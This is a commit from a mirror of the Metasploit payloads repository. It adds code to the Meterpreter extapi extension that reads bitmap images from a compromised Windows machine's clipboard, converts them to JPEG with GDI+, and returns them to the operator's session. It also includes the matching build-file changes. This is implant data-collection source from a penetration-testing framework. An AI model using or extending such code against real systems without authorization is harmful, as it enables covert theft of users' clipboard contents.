mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-02-22 03:19:04 +01:00
Implement CF_DIB support
The clipboard code now supports the `CF_DIB` format on the clipboard. When found, it takes the data and uses GDI+ to convert it into a JPEG. GDI+ was used because: * It's on every Windows machine from XP SP0 onwards (Win2k doesn't work). * It requires linking to a small gdiplus.lib instead of a massive jpeg library. * It's a really easy interface to use that interops easily with the Windows bitmap header information structures. I think it'd be worth considering this approach for the other screenshot applications as well, as it'd reduce the jpeg lib dependency and simplify the codebase.
This commit is contained in:
parent
4eb8accc11
commit
aca306f8ce
@ -4,6 +4,7 @@
|
||||
*/
|
||||
#include "extapi.h"
|
||||
#include "clipboard.h"
|
||||
#include "clipboard_image.h"
|
||||
|
||||
#ifdef _WIN32
|
||||
/*! @brief GlobalAlloc function pointer type. */
|
||||
@ -54,7 +55,8 @@ typedef BOOL (WINAPI * PGETFILESIZEEX)( HANDLE hFile, PLARGE_INTEGER lpFileSize
|
||||
/*!
|
||||
* @brief Handle the request to get the data from the clipboard.
|
||||
* @details This function currently only supports the following clipboard data formats:
|
||||
* - CF_TEXT - raw text data.
|
||||
* - CF_TEXT - raw text data.
|
||||
* - CF_DIB - bitmap/image information.
|
||||
* - CF_HDROP - file selection.
|
||||
*
|
||||
* Over time more formats will be supported.
|
||||
@ -93,6 +95,8 @@ DWORD request_clipboard_get_data( Remote *remote, Packet *packet )
|
||||
CHAR lpFileName[MAX_PATH];
|
||||
Tlv entries[2] = {0};
|
||||
LARGE_INTEGER largeInt = {0};
|
||||
LPBITMAPINFO lpBI = NULL;
|
||||
ConvertedImage image;
|
||||
|
||||
|
||||
Packet *pResponse = packet_create_response( packet );
|
||||
@ -152,6 +156,28 @@ DWORD request_clipboard_get_data( Remote *remote, Packet *packet )
|
||||
pGlobalUnlock( hClipboardData );
|
||||
}
|
||||
}
|
||||
else if( uFormat == CF_DIB ) {
|
||||
// an image of some kind is on the clipboard
|
||||
dprintf( "Grabbing the clipboard bitmap data" );
|
||||
if ( (hClipboardData = pGetClipboardData( CF_DIB ) ) != NULL
|
||||
&& (lpBI = (LPBITMAPINFO)pGlobalLock( hClipboardData )) != NULL ) {
|
||||
|
||||
if( convert_to_jpg( lpBI, (LPVOID)(lpBI + 1), 80, &image ) == ERROR_SUCCESS ) {
|
||||
|
||||
dprintf( "Clipboard bitmap captured to image: %p, Size: %u bytes", image.pImageBuffer, image.dwImageBufferSize );
|
||||
packet_add_tlv_raw( pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_JPG, image.pImageBuffer, image.dwImageBufferSize );
|
||||
|
||||
// Just leaving this in for debugging purposes later on
|
||||
//hSourceFile = CreateFileA("C:\\temp\\foo.jpg", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
//WriteFile(hSourceFile, image.pImageBuffer, image.dwImageBufferSize, &largeInt.LowPart, NULL);
|
||||
//CloseHandle(hSourceFile);
|
||||
|
||||
free( image.pImageBuffer );
|
||||
}
|
||||
|
||||
pGlobalUnlock( hClipboardData );
|
||||
}
|
||||
}
|
||||
else if( uFormat == CF_HDROP ) {
|
||||
// there's one or more files on the clipboard
|
||||
dprintf( "Files have been located on the clipboard" );
|
||||
|
160
c/meterpreter/source/extensions/extapi/clipboard_image.cpp
Normal file
160
c/meterpreter/source/extensions/extapi/clipboard_image.cpp
Normal file
@ -0,0 +1,160 @@
|
||||
/*!
|
||||
* @file clipboard_image.cpp
|
||||
* @brief Definitions for clipboard image handling functionality
|
||||
* @remark This is a C++ file because it uses GDI+ behind the scenes. This is because it's super
|
||||
* easy to do image encoding and prevents us from having to include the massive JPG lib.
|
||||
* It's not late-bound using LoadLibrary due to the fact that doing that with C++ stuff
|
||||
* is nothing short of painful.
|
||||
*/
|
||||
extern "C" {
|
||||
#include "extapi.h"
|
||||
#include "clipboard_image.h"
|
||||
}
|
||||
#include <GdiPlus.h>
|
||||
|
||||
/*!
|
||||
* @brief Get the Class ID of an encoder which supports encoding to the specified MIME type.
|
||||
* @param mimeType The wide-string formatting MIME type identifier.
|
||||
* @param pClsId Pointer to the \c CLSID structure that will receive the Class ID.
|
||||
* @returns Indication of success or failure.
|
||||
* @retval ERROR_SUCCESS The Class ID was extracted successfully.
|
||||
* @retval Otherwise The relevant error code.
|
||||
*/
|
||||
DWORD get_encoder_clsid( WCHAR *mimeType, CLSID * pClsId )
|
||||
{
|
||||
using namespace Gdiplus;
|
||||
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
ImageCodecInfo* pImageCodecInfo = NULL;
|
||||
|
||||
do
|
||||
{
|
||||
UINT numEncoders;
|
||||
UINT size;
|
||||
if( GetImageEncodersSize( &numEncoders, &size ) != Ok )
|
||||
BREAK_WITH_ERROR( "Unable to get encoders array size.", ERROR_FUNCTION_FAILED );
|
||||
|
||||
if( size == 0 )
|
||||
BREAK_WITH_ERROR( "No encoders found.", ERROR_FUNCTION_FAILED );
|
||||
|
||||
if( (pImageCodecInfo = (ImageCodecInfo*)malloc( size )) == NULL )
|
||||
BREAK_WITH_ERROR( "Couldn't allocate memory for ImageCodeInfo", ERROR_OUTOFMEMORY );
|
||||
|
||||
if( GetImageEncoders( numEncoders, size, pImageCodecInfo ) != Ok )
|
||||
BREAK_WITH_ERROR( "Unable to get encoders.", ERROR_FUNCTION_FAILED );
|
||||
|
||||
for( UINT i = 0; i < numEncoders; ++i ) {
|
||||
if( wcscmp( pImageCodecInfo[i].MimeType, mimeType ) == 0 ) {
|
||||
// Image encoder for the MIME type found, so copy the Class ID...
|
||||
memcpy_s( pClsId, sizeof( CLSID ), &pImageCodecInfo[i].Clsid, sizeof( CLSID ) );
|
||||
|
||||
// .. and finish up.
|
||||
break;
|
||||
}
|
||||
}
|
||||
} while(0);
|
||||
|
||||
if( pImageCodecInfo != NULL )
|
||||
free( pImageCodecInfo );
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
extern "C" {
|
||||
|
||||
/*!
|
||||
* @brief Convert the given bitmap data into a JPEG image of the specified quality.
|
||||
* @param lpBI Pointer to the \cBITMAPINFO structure that contains the detail of the bitmap.
|
||||
* In the case of the clipboard, this is the CF_DIB data.
|
||||
* @param lpDIB Pointer to the DIB bytes that make up the image data.
|
||||
* @param ulQuality Quality of the resulting JPG image.
|
||||
* @param pImage Pointer to the image structure that will receive the image data
|
||||
* @retval ERROR_SUCCESS The Class ID was extracted successfully.
|
||||
* @retval Otherwise The relevant error code.
|
||||
*/
|
||||
DWORD convert_to_jpg( const LPBITMAPINFO lpBI, const LPVOID lpDIB, ULONG ulQuality, ConvertedImage* pImage )
|
||||
{
|
||||
using namespace Gdiplus;
|
||||
|
||||
HRESULT hRes = S_OK;
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
ULONG_PTR gdiPlusToken = 0;
|
||||
Bitmap* pBitmap = NULL;
|
||||
GdiplusStartupInput gdiStartupInput;
|
||||
IStream* pStream = NULL;
|
||||
|
||||
// set this to NULL up front so that we can keep track of allocations;
|
||||
pImage->pImageBuffer = NULL;
|
||||
pImage->dwImageBufferSize = 0;
|
||||
|
||||
do
|
||||
{
|
||||
if( GdiplusStartup( &gdiPlusToken, &gdiStartupInput, NULL ) != Ok )
|
||||
BREAK_WITH_ERROR( "Unable to initialize GdiPlus", ERROR_FUNCTION_FAILED );
|
||||
|
||||
CLSID jpegClsid;
|
||||
dprintf( "Attempting to get the jpg class id" );
|
||||
if( get_encoder_clsid( L"image/jpeg", &jpegClsid ) != ERROR_SUCCESS )
|
||||
BREAK_WITH_ERROR( "Unable to find an appropriate image encoder", ERROR_FUNCTION_FAILED );
|
||||
|
||||
if( (pBitmap = new Bitmap( lpBI, lpDIB ) ) == NULL )
|
||||
BREAK_WITH_ERROR( "Failed to create bitmap instance", ERROR_FUNCTION_FAILED );
|
||||
|
||||
EncoderParameters encParams;
|
||||
encParams.Count = 1;
|
||||
encParams.Parameter[0].NumberOfValues = 1;
|
||||
encParams.Parameter[0].Guid = EncoderQuality;
|
||||
encParams.Parameter[0].Type = EncoderParameterValueTypeLong;
|
||||
encParams.Parameter[0].Value = &ulQuality;
|
||||
|
||||
if( CreateStreamOnHGlobal( NULL, TRUE, &pStream ) != S_OK )
|
||||
BREAK_WITH_ERROR( "Failed to create stream", ERROR_FUNCTION_FAILED );
|
||||
|
||||
if( pBitmap->Save( pStream, &jpegClsid, &encParams ) != Ok )
|
||||
BREAK_WITH_ERROR( "Failed to save image to stream", ERROR_FUNCTION_FAILED );
|
||||
|
||||
STATSTG stat;
|
||||
if( pStream->Stat( &stat, STATFLAG_NONAME ) != S_OK )
|
||||
BREAK_WITH_ERROR( "Failed to get image stat", ERROR_FUNCTION_FAILED );
|
||||
|
||||
// if the image requires the quadpart, then we're in trouble anyway!
|
||||
pImage->dwImageBufferSize = stat.cbSize.LowPart;
|
||||
if( (pImage->pImageBuffer = (LPBYTE)malloc( pImage->dwImageBufferSize ) ) == NULL )
|
||||
BREAK_WITH_ERROR( "Failed to allocate memory for the JPEG", ERROR_OUTOFMEMORY );
|
||||
|
||||
ULARGE_INTEGER pos;
|
||||
LARGE_INTEGER zero;
|
||||
zero.QuadPart = 0;
|
||||
pos.QuadPart = 0;
|
||||
if( pStream->Seek( zero, STREAM_SEEK_SET, &pos ) != S_OK )
|
||||
BREAK_WITH_ERROR( "Failed set stream position", ERROR_FUNCTION_FAILED );
|
||||
|
||||
ULONG bytesRead = 0;
|
||||
if( (hRes = pStream->Read( pImage->pImageBuffer, pImage->dwImageBufferSize, &bytesRead ) != S_OK) ) {
|
||||
dprintf( "Failed to read image data from stream: %u %x", hRes, hRes );
|
||||
dwResult = ERROR_FUNCTION_FAILED;
|
||||
break;
|
||||
}
|
||||
|
||||
if( bytesRead != pImage->dwImageBufferSize )
|
||||
BREAK_WITH_ERROR( "Failed to read image data from stream", ERROR_FUNCTION_FAILED );
|
||||
} while(0);
|
||||
|
||||
if( dwResult != ERROR_SUCCESS && pImage->pImageBuffer != NULL ) {
|
||||
free( pImage->pImageBuffer );
|
||||
pImage->pImageBuffer = NULL;
|
||||
}
|
||||
|
||||
if( pStream != NULL )
|
||||
pStream->Release();
|
||||
|
||||
if( pBitmap != NULL )
|
||||
delete pBitmap;
|
||||
|
||||
if( gdiPlusToken != 0 )
|
||||
GdiplusShutdown( gdiPlusToken );
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
}
|
22
c/meterpreter/source/extensions/extapi/clipboard_image.h
Normal file
22
c/meterpreter/source/extensions/extapi/clipboard_image.h
Normal file
@ -0,0 +1,22 @@
|
||||
/*!
|
||||
* @file clipboard_image.h
|
||||
* @brief Declarations for clipboard image handling functionality
|
||||
*/
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_EXTAPI_CLIPBOARD_IMAGE_H
|
||||
#define _METERPRETER_SOURCE_EXTENSION_EXTAPI_CLIPBOARD_IMAGE_H
|
||||
|
||||
typedef struct _ConvertedImage
|
||||
{
|
||||
/*!
|
||||
* @brief Pointer to a pointer which will receive the JPEG image data buffer.
|
||||
* This value is allocated using \c malloc prior to returning. If after
|
||||
* calling this function the value is non-NULL the caller must call
|
||||
* \c free to release this memory.
|
||||
*/
|
||||
PBYTE pImageBuffer;
|
||||
DWORD dwImageBufferSize;
|
||||
} ConvertedImage;
|
||||
|
||||
DWORD convert_to_jpg( const LPBITMAPINFO lpBI, const LPVOID lpDIB, ULONG ulQuality, ConvertedImage* pImage );
|
||||
|
||||
#endif
|
@ -34,5 +34,6 @@
|
||||
#define TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 41)
|
||||
#define TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 42)
|
||||
#define TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE MAKE_CUSTOM_TLV(TLV_META_TYPE_QWORD, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 43)
|
||||
#define TLV_TYPE_EXT_CLIPBOARD_TYPE_JPG MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 44)
|
||||
|
||||
#endif
|
||||
|
@ -140,7 +140,7 @@
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalDependencies>gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
@ -168,7 +168,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>backcompat.lib;Netapi32.lib;ws2_32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalDependencies>gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
@ -200,7 +200,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<AdditionalIncludeDirectories>..\..\source\extensions\extapi;..\..\source\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalDependencies>gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
@ -233,7 +233,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<AdditionalIncludeDirectories>..\..\source\extensions\extapi;..\..\source\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalDependencies>gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
@ -271,7 +271,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalDependencies>gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
@ -322,7 +322,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalDependencies>gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
@ -375,7 +375,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalDependencies>gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
@ -426,7 +426,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalDependencies>gdiplus.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
@ -456,12 +456,14 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\..\source\extensions\extapi\clipboard.c" />
|
||||
<ClCompile Include="..\..\source\extensions\extapi\clipboard_image.cpp" />
|
||||
<ClCompile Include="..\..\source\extensions\extapi\extapi.c" />
|
||||
<ClCompile Include="..\..\source\extensions\extapi\service.c" />
|
||||
<ClCompile Include="..\..\source\extensions\extapi\window.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\..\source\extensions\extapi\clipboard.h" />
|
||||
<ClInclude Include="..\..\source\extensions\extapi\clipboard_image.h" />
|
||||
<ClInclude Include="..\..\source\extensions\extapi\extapi.h" />
|
||||
<ClInclude Include="..\..\source\extensions\extapi\service.h" />
|
||||
<ClInclude Include="..\..\source\extensions\extapi\window.h" />
|
||||
@ -488,4 +490,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
</Project>
|
||||
|
Loading…
x
Reference in New Issue
Block a user